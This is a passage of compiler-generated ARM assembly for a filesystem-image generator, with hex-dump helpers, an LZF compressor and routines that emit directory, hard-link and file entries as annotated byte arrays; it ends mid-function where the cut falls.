.section .rodata
.align 2
.LC21:
.ascii " 0x%02x,\000"
.text
.align 2
.syntax unified
.arm
.fpu softvfp
.type dump_hexbuffer, %function
dump_hexbuffer:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #24
str r0, [fp, #-16]
str r1, [fp, #-20]
str r2, [fp, #-24]
ldr r3, [fp, #-20]
str r3, [fp, #-8]
b .L47
.L50:
ldr r3, .L51
ldr r3, [r3]
cmp r3, #0
bne .L48
ldr r1, [fp, #-16]
mov r0, #32
bl fputc
.L48:
ldr r3, [fp, #-8]
add r2, r3, #1
str r2, [fp, #-8]
ldrb r3, [r3] @ zero_extendqisi2
mov r2, r3
ldr r1, .L51+4
ldr r0, [fp, #-16]
bl fprintf
ldr r3, .L51
ldr r3, [r3]
add r3, r3, #1
ldr r2, .L51
str r3, [r2]
ldr r3, .L51
ldr r3, [r3]
cmp r3, #7
bls .L49
ldr r1, [fp, #-16]
mov r0, #10
bl fputc
ldr r3, .L51
mov r2, #0
str r2, [r3]
.L49:
ldr r3, [fp, #-24]
sub r3, r3, #1
str r3, [fp, #-24]
.L47:
ldr r3, [fp, #-24]
cmp r3, #0
bne .L50
nop
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L52:
.align 2
.L51:
.word g_nhex
.word .LC21
.size dump_hexbuffer, .-dump_hexbuffer
.align 2
.syntax unified
.arm
.fpu softvfp
.type dump_nextline, %function
dump_nextline:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
ldr r3, .L56
ldr r3, [r3]
cmp r3, #0
beq .L55
ldr r1, [fp, #-8]
mov r0, #10
bl fputc
ldr r3, .L56
mov r2, #0
str r2, [r3]
.L55:
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L57:
.align 2
.L56:
.word g_nhex
.size dump_nextline, .-dump_nextline
.align 2
.syntax unified
.arm
.fpu softvfp
.type lzf_compress, %function
lzf_compress:
@ args = 0, pretend = 0, frame = 72
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #72
str r0, [fp, #-64]
str r1, [fp, #-68]
str r2, [fp, #-72]
ldr r3, [fp, #-64]
str r3, [fp, #-56]
ldr r3, [fp, #-72]
add r3, r3, #7
str r3, [fp, #-52]
ldr r2, [fp, #-56]
ldr r3, [fp, #-68]
add r3, r2, r3
str r3, [fp, #-28]
ldr r3, [fp, #-52]
add r3, r3, #512
str r3, [fp, #-24]
ldr r3, [fp, #-68]
cmp r3, #0
bne .L59
mov r3, #0
str r3, [fp, #-48]
b .L60
.L59:
mov r2, #32768
mov r1, #0
ldr r0, .L116
bl memset
mov r3, #0
str r3, [fp, #-36]
ldr r3, [fp, #-52]
add r3, r3, #1
str r3, [fp, #-52]
ldr r3, [fp, #-56]
ldrb r3, [r3] @ zero_extendqisi2
lsl r3, r3, #8
ldr r2, [fp, #-56]
add r2, r2, #1
ldrb r2, [r2] @ zero_extendqisi2
orr r3, r3, r2
str r3, [fp, #-40]
b .L61
.L91:
ldr r3, [fp, #-40]
lsl r3, r3, #8
ldr r2, [fp, #-56]
add r2, r2, #2
ldrb r2, [r2] @ zero_extendqisi2
orr r3, r3, r2
str r3, [fp, #-40]
ldr r3, [fp, #-40]
lsl r2, r3, #5
ldr r3, [fp, #-40]
eor r3, r3, r2
lsr r1, r3, #11
ldr r2, [fp, #-40]
mov r3, r2
lsl r3, r3, #2
add r3, r3, r2
sub r3, r1, r3
lsl r3, r3, #19
lsr r3, r3, #19
lsl r3, r3, #2
ldr r2, .L116
add r3, r3, r2
str r3, [fp, #-20]
ldr r3, [fp, #-20]
ldr r3, [r3]
str r3, [fp, #-16]
ldr r3, [fp, #-20]
ldr r2, [fp, #-56]
str r2, [r3]
ldr r2, [fp, #-16]
ldr r3, [fp, #-56]
cmp r2, r3
bcs .L62
ldr r2, [fp, #-56]
ldr r3, [fp, #-16]
sub r3, r2, r3
sub r3, r3, #1
str r3, [fp, #-12]
ldr r3, [fp, #-12]
cmp r3, #8192
bcs .L62
ldr r2, [fp, #-16]
ldr r3, [fp, #-64]
cmp r2, r3
bls .L62
ldr r3, [fp, #-16]
add r3, r3, #2
ldrb r2, [r3] @ zero_extendqisi2
ldr r3, [fp, #-56]
add r3, r3, #2
ldrb r3, [r3] @ zero_extendqisi2
cmp r2, r3
bne .L62
ldr r3, [fp, #-16]
add r3, r3, #1
ldrb r3, [r3] @ zero_extendqisi2
lsl r3, r3, #8
ldr r2, [fp, #-16]
ldrb r2, [r2] @ zero_extendqisi2
orr r2, r3, r2
ldr r3, [fp, #-56]
add r3, r3, #1
ldrb r3, [r3] @ zero_extendqisi2
lsl r3, r3, #8
ldr r1, [fp, #-56]
ldrb r1, [r1] @ zero_extendqisi2
orr r3, r3, r1
cmp r2, r3
bne .L62
mov r3, #2
str r3, [fp, #-32]
ldr r2, [fp, #-28]
ldr r3, [fp, #-56]
sub r3, r2, r3
mov r2, r3
ldr r3, [fp, #-32]
sub r3, r2, r3
str r3, [fp, #-8]
ldr r3, [fp, #-8]
cmp r3, #264
movcc r3, r3
movcs r3, #264
str r3, [fp, #-8]
ldr r3, [fp, #-52]
add r3, r3, #4
ldr r2, [fp, #-24]
cmp r2, r3
bhi .L63
ldr r3, [fp, #-36]
cmp r3, #0
bne .L64
mov r3, #3
b .L65
.L64:
mov r3, #4
.L65:
ldr r2, [fp, #-52]
add r3, r2, r3
ldr r2, [fp, #-24]
cmp r2, r3
bhi .L63
mov r3, #0
str r3, [fp, #-48]
b .L60
.L63:
ldr r3, [fp, #-36]
and r2, r3, #255
ldr r3, [fp, #-36]
mvn r3, r3
ldr r1, [fp, #-52]
add r3, r1, r3
sub r2, r2, #1
and r2, r2, #255
strb r2, [r3]
ldr r3, [fp, #-36]
cmp r3, #0
moveq r3, #1
movne r3, #0
and r3, r3, #255
rsb r3, r3, #0
ldr r2, [fp, #-52]
add r3, r2, r3
str r3, [fp, #-52]
ldr r3, [fp, #-8]
cmp r3, #16
bls .L84
ldr r3, [fp, #-32]
add r3, r3, #1
str r3, [fp, #-32]
ldr r2, [fp, #-16]
ldr r3, [fp, #-32]
add r3, r2, r3
ldrb r2, [r3] @ zero_extendqisi2
ldr r1, [fp, #-56]
ldr r3, [fp, #-32]
add r3, r1, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r2, r3
bne .L98
ldr r3, [fp, #-32]
add r3, r3, #1
str r3, [fp, #-32]
ldr r2, [fp, #-16]
ldr r3, [fp, #-32]
add r3, r2, r3
ldrb r2, [r3] @ zero_extendqisi2
ldr r1, [fp, #-56]
ldr r3, [fp, #-32]
add r3, r1, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r2, r3
bne .L99
ldr r3, [fp, #-32]
add r3, r3, #1
str r3, [fp, #-32]
ldr r2, [fp, #-16]
ldr r3, [fp, #-32]
add r3, r2, r3
ldrb r2, [r3] @ zero_extendqisi2
ldr r1, [fp, #-56]
ldr r3, [fp, #-32]
add r3, r1, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r2, r3
bne .L100
ldr r3, [fp, #-32]
add r3, r3, #1
str r3, [fp, #-32]
ldr r2, [fp, #-16]
ldr r3, [fp, #-32]
add r3, r2, r3
ldrb r2, [r3] @ zero_extendqisi2
ldr r1, [fp, #-56]
ldr r3, [fp, #-32]
add r3, r1, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r2, r3
bne .L101
ldr r3, [fp, #-32]
add r3, r3, #1
str r3, [fp, #-32]
ldr r2, [fp, #-16]
ldr r3, [fp, #-32]
add r3, r2, r3
ldrb r2, [r3] @ zero_extendqisi2
ldr r1, [fp, #-56]
ldr r3, [fp, #-32]
add r3, r1, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r2, r3
bne .L102
ldr r3, [fp, #-32]
add r3, r3, #1
str r3, [fp, #-32]
ldr r2, [fp, #-16]
ldr r3, [fp, #-32]
add r3, r2, r3
ldrb r2, [r3] @ zero_extendqisi2
ldr r1, [fp, #-56]
ldr r3, [fp, #-32]
add r3, r1, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r2, r3
bne .L103
ldr r3, [fp, #-32]
add r3, r3, #1
str r3, [fp, #-32]
ldr r2, [fp, #-16]
ldr r3, [fp, #-32]
add r3, r2, r3
ldrb r2, [r3] @ zero_extendqisi2
ldr r1, [fp, #-56]
ldr r3, [fp, #-32]
add r3, r1, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r2, r3
bne .L104
ldr r3, [fp, #-32]
add r3, r3, #1
str r3, [fp, #-32]
ldr r2, [fp, #-16]
ldr r3, [fp, #-32]
add r3, r2, r3
ldrb r2, [r3] @ zero_extendqisi2
ldr r1, [fp, #-56]
ldr r3, [fp, #-32]
add r3, r1, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r2, r3
bne .L105
ldr r3, [fp, #-32]
add r3, r3, #1
str r3, [fp, #-32]
ldr r2, [fp, #-16]
ldr r3, [fp, #-32]
add r3, r2, r3
ldrb r2, [r3] @ zero_extendqisi2
ldr r1, [fp, #-56]
ldr r3, [fp, #-32]
add r3, r1, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r2, r3
bne .L106
ldr r3, [fp, #-32]
add r3, r3, #1
str r3, [fp, #-32]
ldr r2, [fp, #-16]
ldr r3, [fp, #-32]
add r3, r2, r3
ldrb r2, [r3] @ zero_extendqisi2
ldr r1, [fp, #-56]
ldr r3, [fp, #-32]
add r3, r1, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r2, r3
bne .L107
ldr r3, [fp, #-32]
add r3, r3, #1
str r3, [fp, #-32]
ldr r2, [fp, #-16]
ldr r3, [fp, #-32]
add r3, r2, r3
ldrb r2, [r3] @ zero_extendqisi2
ldr r1, [fp, #-56]
ldr r3, [fp, #-32]
add r3, r1, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r2, r3
bne .L108
ldr r3, [fp, #-32]
add r3, r3, #1
str r3, [fp, #-32]
ldr r2, [fp, #-16]
ldr r3, [fp, #-32]
add r3, r2, r3
ldrb r2, [r3] @ zero_extendqisi2
ldr r1, [fp, #-56]
ldr r3, [fp, #-32]
add r3, r1, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r2, r3
bne .L109
ldr r3, [fp, #-32]
add r3, r3, #1
str r3, [fp, #-32]
ldr r2, [fp, #-16]
ldr r3, [fp, #-32]
add r3, r2, r3
ldrb r2, [r3] @ zero_extendqisi2
ldr r1, [fp, #-56]
ldr r3, [fp, #-32]
add r3, r1, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r2, r3
bne .L110
ldr r3, [fp, #-32]
add r3, r3, #1
str r3, [fp, #-32]
ldr r2, [fp, #-16]
ldr r3, [fp, #-32]
add r3, r2, r3
ldrb r2, [r3] @ zero_extendqisi2
ldr r1, [fp, #-56]
ldr r3, [fp, #-32]
add r3, r1, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r2, r3
bne .L111
ldr r3, [fp, #-32]
add r3, r3, #1
str r3, [fp, #-32]
ldr r2, [fp, #-16]
ldr r3, [fp, #-32]
add r3, r2, r3
ldrb r2, [r3] @ zero_extendqisi2
ldr r1, [fp, #-56]
ldr r3, [fp, #-32]
add r3, r1, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r2, r3
bne .L112
ldr r3, [fp, #-32]
add r3, r3, #1
str r3, [fp, #-32]
ldr r2, [fp, #-16]
ldr r3, [fp, #-32]
add r3, r2, r3
ldrb r2, [r3] @ zero_extendqisi2
ldr r1, [fp, #-56]
ldr r3, [fp, #-32]
add r3, r1, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r2, r3
bne .L113
.L84:
ldr r3, [fp, #-32]
add r3, r3, #1
str r3, [fp, #-32]
ldr r2, [fp, #-32]
ldr r3, [fp, #-8]
cmp r2, r3
bcs .L114
ldr r2, [fp, #-16]
ldr r3, [fp, #-32]
add r3, r2, r3
ldrb r2, [r3] @ zero_extendqisi2
ldr r1, [fp, #-56]
ldr r3, [fp, #-32]
add r3, r1, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r2, r3
beq .L84
b .L114
.L98:
nop
b .L68
.L99:
nop
b .L68
.L100:
nop
b .L68
.L101:
nop
b .L68
.L102:
nop
b .L68
.L103:
nop
b .L68
.L104:
nop
b .L68
.L105:
nop
b .L68
.L106:
nop
b .L68
.L107:
nop
b .L68
.L108:
nop
b .L68
.L109:
nop
b .L68
.L110:
nop
b .L68
.L111:
nop
b .L68
.L112:
nop
b .L68
.L113:
nop
b .L68
.L114:
nop
.L68:
ldr r3, [fp, #-32]
sub r3, r3, #2
str r3, [fp, #-32]
ldr r3, [fp, #-56]
add r3, r3, #1
str r3, [fp, #-56]
ldr r3, [fp, #-32]
cmp r3, #6
bhi .L85
ldr r3, [fp, #-12]
lsr r3, r3, #8
and r1, r3, #255
ldr r3, [fp, #-32]
and r3, r3, #255
lsl r3, r3, #5
and r2, r3, #255
ldr r3, [fp, #-52]
add r0, r3, #1
str r0, [fp, #-52]
add r2, r1, r2
and r2, r2, #255
strb r2, [r3]
b .L86
.L85:
ldr r3, [fp, #-12]
lsr r3, r3, #8
and r2, r3, #255
ldr r3, [fp, #-52]
add r1, r3, #1
str r1, [fp, #-52]
sub r2, r2, #32
and r2, r2, #255
strb r2, [r3]
ldr r3, [fp, #-32]
and r2, r3, #255
ldr r3, [fp, #-52]
add r1, r3, #1
str r1, [fp, #-52]
sub r2, r2, #7
and r2, r2, #255
strb r2, [r3]
.L86:
ldr r3, [fp, #-52]
add r2, r3, #1
str r2, [fp, #-52]
ldr r2, [fp, #-12]
and r2, r2, #255
strb r2, [r3]
mov r3, #0
str r3, [fp, #-36]
ldr r3, [fp, #-52]
add r3, r3, #1
str r3, [fp, #-52]
ldr r3, [fp, #-32]
add r3, r3, #1
ldr r2, [fp, #-56]
add r3, r2, r3
str r3, [fp, #-56]
ldr r3, [fp, #-28]
sub r3, r3, #2
ldr r2, [fp, #-56]
cmp r2, r3
bcs .L115
ldr r3, [fp, #-32]
mvn r3, r3
ldr r2, [fp, #-56]
add r3, r2, r3
str r3, [fp, #-56]
.L89:
ldr r3, [fp, #-40]
lsl r3, r3, #8
ldr r2, [fp, #-56]
add r2, r2, #2
ldrb r2, [r2] @ zero_extendqisi2
orr r3, r3, r2
str r3, [fp, #-40]
ldr r3, [fp, #-40]
lsl r2, r3, #5
ldr r3, [fp, #-40]
eor r3, r3, r2
lsr r1, r3, #11
ldr r2, [fp, #-40]
mov r3, r2
lsl r3, r3, #2
add r3, r3, r2
sub r3, r1, r3
lsl r3, r3, #19
lsr r3, r3, #19
ldr r1, .L116
ldr r2, [fp, #-56]
str r2, [r1, r3, lsl #2]
ldr r3, [fp, #-56]
add r3, r3, #1
str r3, [fp, #-56]
ldr r3, [fp, #-32]
sub r2, r3, #1
str r2, [fp, #-32]
cmp r3, #0
bne .L89
b .L61
.L62:
ldr r2, [fp, #-52]
ldr r3, [fp, #-24]
cmp r2, r3
bcc .L90
mov r3, #0
str r3, [fp, #-48]
b .L60
.L90:
ldr r3, [fp, #-36]
add r3, r3, #1
str r3, [fp, #-36]
ldr r2, [fp, #-56]
add r3, r2, #1
str r3, [fp, #-56]
ldr r3, [fp, #-52]
add r1, r3, #1
str r1, [fp, #-52]
ldrb r2, [r2] @ zero_extendqisi2
strb r2, [r3]
ldr r3, [fp, #-36]
cmp r3, #32
bne .L61
ldr r3, [fp, #-36]
and r2, r3, #255
ldr r3, [fp, #-36]
mvn r3, r3
ldr r1, [fp, #-52]
add r3, r1, r3
sub r2, r2, #1
and r2, r2, #255
strb r2, [r3]
mov r3, #0
str r3, [fp, #-36]
ldr r3, [fp, #-52]
add r3, r3, #1
str r3, [fp, #-52]
.L61:
ldr r3, [fp, #-28]
sub r3, r3, #2
ldr r2, [fp, #-56]
cmp r2, r3
bcc .L91
b .L88
.L115:
nop
.L88:
ldr r3, [fp, #-52]
add r3, r3, #3
ldr r2, [fp, #-24]
cmp r2, r3
bcs .L93
mov r3, #0
str r3, [fp, #-48]
b .L60
.L94:
ldr r3, [fp, #-36]
add r3, r3, #1
str r3, [fp, #-36]
ldr r2, [fp, #-56]
add r3, r2, #1
str r3, [fp, #-56]
ldr r3, [fp, #-52]
add r1, r3, #1
str r1, [fp, #-52]
ldrb r2, [r2] @ zero_extendqisi2
strb r2, [r3]
ldr r3, [fp, #-36]
cmp r3, #32
bne .L93
ldr r3, [fp, #-36]
and r2, r3, #255
ldr r3, [fp, #-36]
mvn r3, r3
ldr r1, [fp, #-52]
add r3, r1, r3
sub r2, r2, #1
and r2, r2, #255
strb r2, [r3]
mov r3, #0
str r3, [fp, #-36]
ldr r3, [fp, #-52]
add r3, r3, #1
str r3, [fp, #-52]
.L93:
ldr r2, [fp, #-56]
ldr r3, [fp, #-28]
cmp r2, r3
bcc .L94
ldr r3, [fp, #-36]
and r2, r3, #255
ldr r3, [fp, #-36]
mvn r3, r3
ldr r1, [fp, #-52]
add r3, r1, r3
sub r2, r2, #1
and r2, r2, #255
strb r2, [r3]
ldr r3, [fp, #-36]
cmp r3, #0
moveq r3, #1
movne r3, #0
and r3, r3, #255
rsb r3, r3, #0
ldr r2, [fp, #-52]
add r3, r2, r3
str r3, [fp, #-52]
ldr r3, [fp, #-72]
add r3, r3, #7
ldr r2, [fp, #-52]
sub r3, r2, r3
str r3, [fp, #-48]
.L60:
ldr r3, [fp, #-48]
cmp r3, #0
ble .L95
ldr r3, [fp, #-72]
mov r2, #90
strb r2, [r3]
ldr r3, [fp, #-72]
mov r2, #86
strb r2, [r3, #1]
ldr r3, [fp, #-72]
mov r2, #1
strb r2, [r3, #2]
ldr r3, [fp, #-48]
asr r3, r3, #8
and r2, r3, #255
ldr r3, [fp, #-72]
strb r2, [r3, #3]
ldr r3, [fp, #-48]
and r2, r3, #255
ldr r3, [fp, #-72]
strb r2, [r3, #4]
ldr r3, [fp, #-68]
lsr r3, r3, #8
and r2, r3, #255
ldr r3, [fp, #-72]
strb r2, [r3, #5]
ldr r3, [fp, #-68]
and r2, r3, #255
ldr r3, [fp, #-72]
strb r2, [r3, #6]
ldr r3, [fp, #-48]
add r3, r3, #7
str r3, [fp, #-44]
b .L96
.L95:
ldr r3, [fp, #-72]
mov r2, #90
strb r2, [r3]
ldr r3, [fp, #-72]
mov r2, #86
strb r2, [r3, #1]
ldr r3, [fp, #-72]
mov r2, #0
strb r2, [r3, #2]
ldr r3, [fp, #-68]
lsr r3, r3, #8
and r2, r3, #255
ldr r3, [fp, #-72]
strb r2, [r3, #3]
ldr r3, [fp, #-68]
and r2, r3, #255
ldr r3, [fp, #-72]
strb r2, [r3, #4]
ldr r3, [fp, #-72]
add r3, r3, #5
ldr r2, [fp, #-68]
ldr r1, [fp, #-64]
mov r0, r3
bl memcpy
ldr r3, [fp, #-68]
add r3, r3, #5
str r3, [fp, #-44]
.L96:
ldr r3, [fp, #-44]
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L117:
.align 2
.L116:
.word g_lzf_hashtab
.size lzf_compress, .-lzf_compress
.align 2
.syntax unified
.arm
.fpu softvfp
.type get_mode, %function
get_mode:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #20
str r0, [fp, #-16]
mov r3, #0
strh r3, [fp, #-6] @ movhi
ldr r3, [fp, #-16]
and r3, r3, #1
cmp r3, #0
beq .L119
ldrh r3, [fp, #-6] @ movhi
orr r3, r3, #1
strh r3, [fp, #-6] @ movhi
.L119:
ldr r3, [fp, #-16]
and r3, r3, #4
cmp r3, #0
beq .L120
ldrh r3, [fp, #-6] @ movhi
orr r3, r3, #4
strh r3, [fp, #-6] @ movhi
.L120:
ldr r3, [fp, #-16]
and r3, r3, #8
cmp r3, #0
beq .L121
ldrh r3, [fp, #-6] @ movhi
orr r3, r3, #8
strh r3, [fp, #-6] @ movhi
.L121:
ldr r3, [fp, #-16]
and r3, r3, #32
cmp r3, #0
beq .L122
ldrh r3, [fp, #-6] @ movhi
orr r3, r3, #32
strh r3, [fp, #-6] @ movhi
.L122:
ldr r3, [fp, #-16]
and r3, r3, #64
cmp r3, #0
beq .L123
ldrh r3, [fp, #-6] @ movhi
orr r3, r3, #64
strh r3, [fp, #-6] @ movhi
.L123:
ldr r3, [fp, #-16]
and r3, r3, #256
cmp r3, #0
beq .L124
ldrh r3, [fp, #-6] @ movhi
orr r3, r3, #256
strh r3, [fp, #-6] @ movhi
.L124:
ldrh r3, [fp, #-6]
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size get_mode, .-get_mode
.section .rodata
.align 2
.LC22:
.ascii "\012 /* Offset %6lu: Hard link %s */\012\012\000"
.align 2
.LC23:
.word __stack_chk_guard
.text
.align 2
.syntax unified
.arm
.fpu softvfp
.type gen_dirlink, %function
gen_dirlink:
@ args = 0, pretend = 0, frame = 48
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #48
str r0, [fp, #-40]
str r1, [fp, #-44]
mov r3, r2
strb r3, [fp, #-45]
ldr r3, .L130
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r0, [fp, #-40]
bl strlen
mov r3, r0
add r3, r3, #1
str r3, [fp, #-32]
ldr r3, .L130+4
ldr r0, [r3]
ldr r3, .L130+8
ldr r2, [r3]
ldr r3, [fp, #-40]
ldr r1, .L130+12
bl fprintf
ldr r3, .L130+16
strh r3, [fp, #-28] @ movhi
mov r3, #0
strh r3, [fp, #-26] @ movhi
ldr r3, .L130+8
ldr r3, [r3]
add r3, r3, #20
ldr r2, .L130+8
str r3, [r2]
ldr r3, .L130+8
ldr r3, [r3]
str r3, [fp, #-24]
mov r3, #0
str r3, [fp, #-20]
ldr r3, .L130+8
ldr r2, [r3]
ldr r3, [fp, #-32]
add r3, r2, r3
ldr r2, .L130+8
str r3, [r2]
ldrb r3, [fp, #-45] @ zero_extendqisi2
cmp r3, #0
beq .L127
mov r3, #0
b .L128
.L127:
ldr r3, .L130+8
ldr r3, [r3]
.L128:
str r3, [fp, #-16]
ldr r3, [fp, #-44]
str r3, [fp, #-12]
ldr r3, .L130+4
ldr r3, [r3]
sub r1, fp, #28
mov r2, #20
mov r0, r3
bl dump_hexbuffer
ldr r3, .L130+4
ldr r3, [r3]
ldr r2, [fp, #-32]
ldr r1, [fp, #-40]
mov r0, r3
bl dump_hexbuffer
ldr r3, .L130+4
ldr r3, [r3]
mov r0, r3
bl dump_nextline
ldr r3, .L130+20
ldr r3, [r3]
add r3, r3, #1
ldr r2, .L130+20
str r3, [r2]
nop
ldr r3, .L130
ldr r2, [r3]
ldr r3, [fp, #-8]
eors r2, r3, r2
mov r3, #0
beq .L129
bl __stack_chk_fail
.L129:
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L131:
.align 2
.L130:
.word .LC23
.word g_tmpstream
.word g_offset
.word .LC22
.word -24211
.word g_nnodes
.size gen_dirlink, .-gen_dirlink
.section .rodata
.align 2
.LC24:
.ascii ".\000"
.align 2
.LC25:
.ascii "..\000"
.align 2
.LC26:
.ascii "\012 /* Offset %6lu: Directory %s */\012\012\000"
.align 2
.LC27:
.word __stack_chk_guard
.text
.align 2
.syntax unified
.arm
.fpu softvfp
.type gen_directory, %function
gen_directory:
@ args = 0, pretend = 0, frame = 72
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #72
str r0, [fp, #-64]
str r1, [fp, #-68]
str r2, [fp, #-72]
strb r3, [fp, #-73]
ldr r3, .L137
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r3, .L137+4
ldr r3, [r3]
str r3, [fp, #-56]
ldr r3, .L137+8
ldr r3, [r3]
str r3, [fp, #-52]
ldr r3, .L137+12
ldr r3, [r3]
str r3, [fp, #-48]
ldr r3, .L137+16
ldr r3, [r3]
str r3, [fp, #-44]
ldr r0, [fp, #-68]
bl strlen
mov r3, r0
add r3, r3, #1
str r3, [fp, #-40]
bl open_tmpfile
str r0, [fp, #-36]
ldr r2, .L137+16
ldr r3, [fp, #-36]
str r3, [r2]
ldr r2, [fp, #-40]
ldr r3, .L137+4
ldr r3, [r3]
add r3, r2, r3
add r3, r3, #20
ldr r2, .L137+4
str r3, [r2]
ldr r3, .L137+8
ldr r3, [r3]
ldr r2, .L137+12
str r3, [r2]
ldr r3, .L137+4
ldr r3, [r3]
ldr r2, .L137+8
str r3, [r2]
mov r2, #0
ldr r1, .L137+20
ldr r0, [fp, #-64]
bl traverse_directory
str r0, [fp, #-32]
ldr r3, .L137+8
ldr r3, [r3]
mov r2, #0
mov r1, r3
ldr r0, .L137+24
bl gen_dirlink
ldr r3, .L137+12
ldr r1, [r3]
ldr r3, [fp, #-32]
cmp r3, #0
moveq r3, #1
movne r3, #0
and r3, r3, #255
mov r2, r3
ldr r0, .L137+28
bl gen_dirlink
ldr r3, [fp, #-32]
cmp r3, #0
beq .L133
mov r2, #0
ldr r1, .L137+32
ldr r0, [fp, #-64]
bl traverse_directory
.L133:
ldr r2, .L137+16
ldr r3, [fp, #-44]
str r3, [r2]
ldr r2, .L137+8
ldr r3, [fp, #-52]
str r3, [r2]
ldr r2, .L137+12
ldr r3, [fp, #-48]
str r3, [r2]
ldr r3, .L137+16
ldr r0, [r3]
ldr r3, [fp, #-64]
ldr r2, [fp, #-56]
ldr r1, .L137+36
bl fprintf
ldr r0, [fp, #-72]
bl get_mode
mov r3, r0
orr r3, r3, #16384
lsl r3, r3, #16
lsr r3, r3, #16
strh r3, [fp, #-28] @ movhi
mov r3, #0
strh r3, [fp, #-26] @ movhi
ldr r3, [fp, #-56]
add r3, r3, #20
str r3, [fp, #-56]
ldr r3, [fp, #-56]
str r3, [fp, #-24]
mov r3, #0
str r3, [fp, #-20]
ldr r3, [fp, #-40]
ldr r2, [fp, #-56]
add r3, r2, r3
str r3, [fp, #-56]
ldrb r3, [fp, #-73] @ zero_extendqisi2
cmp r3, #0
beq .L134
mov r3, #0
b .L135
.L134:
ldr r3, .L137+4
ldr r3, [r3]
.L135:
str r3, [fp, #-16]
ldr r3, [fp, #-56]
str r3, [fp, #-12]
ldr r3, .L137+16
ldr r3, [r3]
sub r1, fp, #28
mov r2, #20
mov r0, r3
bl dump_hexbuffer
ldr r3, .L137+16
ldr r3, [r3]
ldr r2, [fp, #-40]
ldr r1, [fp, #-68]
mov r0, r3
bl dump_hexbuffer
ldr r3, .L137+16
ldr r3, [r3]
mov r0, r3
bl dump_nextline
ldr r3, .L137+40
ldr r3, [r3]
add r3, r3, #1
ldr r2, .L137+40
str r3, [r2]
ldr r3, .L137+16
ldr r3, [r3]
ldr r1, [fp, #-36]
mov r0, r3
bl append_tmpfile
nop
ldr r3, .L137
ldr r2, [r3]
ldr r3, [fp, #-8]
eors r2, r3, r2
mov r3, #0
beq .L136
bl __stack_chk_fail
.L136:
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L138:
.align 2
.L137:
.word .LC27
.word g_offset
.word g_diroffset
.word g_parent_offset
.word g_tmpstream
.word dir_notempty
.word .LC24
.word .LC25
.word process_direntry
.word .LC26
.word g_nnodes
.size gen_directory, .-gen_directory
.section .rodata
.align 2
.LC28:
.ascii "r\000"
.align 2
.LC29:
.ascii "fopen for source file %s failed: %s\012\000"
.align 2
.LC30:
.ascii "\012 /* Offset %6lu: Block %u blklen=%lu Uncompre"
.ascii "ssed=%lu Compressed=%u */\012\012\000"
.align 2
.LC31:
.ascii "\012 /* Offset %6lu: File %s: Uncompressed=%lu C"
.ascii "ompressed=%lu */\012\012\000"
.align 2
.LC32:
.word __stack_chk_guard
.text
.align 2
.syntax unified
.arm
.fpu softvfp
.type gen_file, %function
gen_file:
@ args = 0, pretend = 0, frame = 1136
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #1152
sub sp, sp, #4
str r0, [fp, #-1136]
str r1, [fp, #-1140]
str r2, [fp, #-1144]
strb r3, [fp, #-1145]
ldr r3, .L148
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
ldr r3, .L148+4
ldr r3, [r3]
str r3, [fp, #-1112]
ldr r3, .L148+8
ldr r3, [r3]
str r3, [fp, #-1108]
ldr r0, [fp, #-1140]
bl strlen
mov r3, r0
add r3, r3, #1
str r3, [fp, #-1104]
bl open_tmpfile
str r0, [fp, #-1100]
ldr r2, .L148+8
ldr r3, [fp, #-1100]
str r3, [r2]
ldr r2, [fp, #-1104]
ldr r3, [fp, #-1112]
add r3, r2, r3
add r3, r3, #20
ldr r2, .L148+4
str r3, [r2]
ldr r1, .L148+12
ldr r0, [fp, #-1136]
bl fopen
str r0, [fp, #-1096]
ldr r3, [fp, #-1096]
cmp r3, #0
bne .L140
ldr r3, .L148+16
ldr r4, [r3]
bl __errno_location
mov r3, r0
ldr r3, [r3]
mov r0, r3
bl strerror
mov r3, r0
ldr r2, [fp, #-1136]
ldr r1, .L148+20
mov r0, r4
bl fprintf
mov r0, #1
bl exit
.L140:
mov r3, #0
str r3, [fp, #-1116]
mov r3, #0
str r3, [fp, #-1124]
mov r3, #0
str r3, [fp, #-1120]
.L144:
sub r0, fp, #528
ldr r3, [fp, #-1096]
mov r2, #512
mov r1, #1
bl fread
str r0, [fp, #-1092]
ldr r3, [fp, #-1092]
cmp r3, #0
beq .L141
sub r3, fp, #1040
